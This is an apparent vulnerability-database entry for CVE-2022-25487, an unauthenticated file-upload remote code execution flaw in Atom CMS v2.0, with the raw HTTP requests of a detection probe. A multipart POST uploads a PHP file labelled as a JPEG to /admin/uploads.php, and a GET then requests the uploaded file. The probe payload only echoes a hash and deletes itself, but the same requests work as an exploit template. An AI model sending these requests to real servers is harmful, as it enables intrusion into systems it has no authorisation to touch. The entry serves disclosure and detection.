| Title | Atom CMS v2.0 - Remote Code Execution |
|---|---|
| Author | theamanrawat |
| Severity | Critical |
| Impact | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system. |
| Remediation | Fixed in version Atom CMS v2.1 |
| CVSS Score | 9.8 |
| EPSS Score | 0.89284 |
| CVE ID | CVE-2022-25487 |
| CWE ID | CWE-434 |
| Tags | cve2022 cve rce atom cms unauth packetstorm intrusive thedigitalcraft fielupload vkev vuln |
Atom CMS v2.0 was discovered to contain a remote code execution (RCE) vulnerability via /admin/uploads.php.
POST /admin/uploads.php?id=1 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0
Connection: close
Content-Length: 404
Content-Type: multipart/form-data; boundary=---------------------------30623082103363803402542706041
Accept-Encoding: gzip
-----------------------------30623082103363803402542706041
Content-Disposition: form-data; name="file"
-----------------------------30623082103363803402542706041
Content-Disposition: form-data; name="file"; filename="38F7uoEsB00XeytHbRGruifhRG8.php"
Content-Type: image/jpeg
<?php echo md5("CVE-2022-25487");unlink(__FILE__);?>
-----------------------------30623082103363803402542706041--
GET /uploads/HY7Aga HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (SS; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-25487.yaml
🦈 Packet Capture: ⬇️ Download cve-2022-25487.pcap
N/AN/A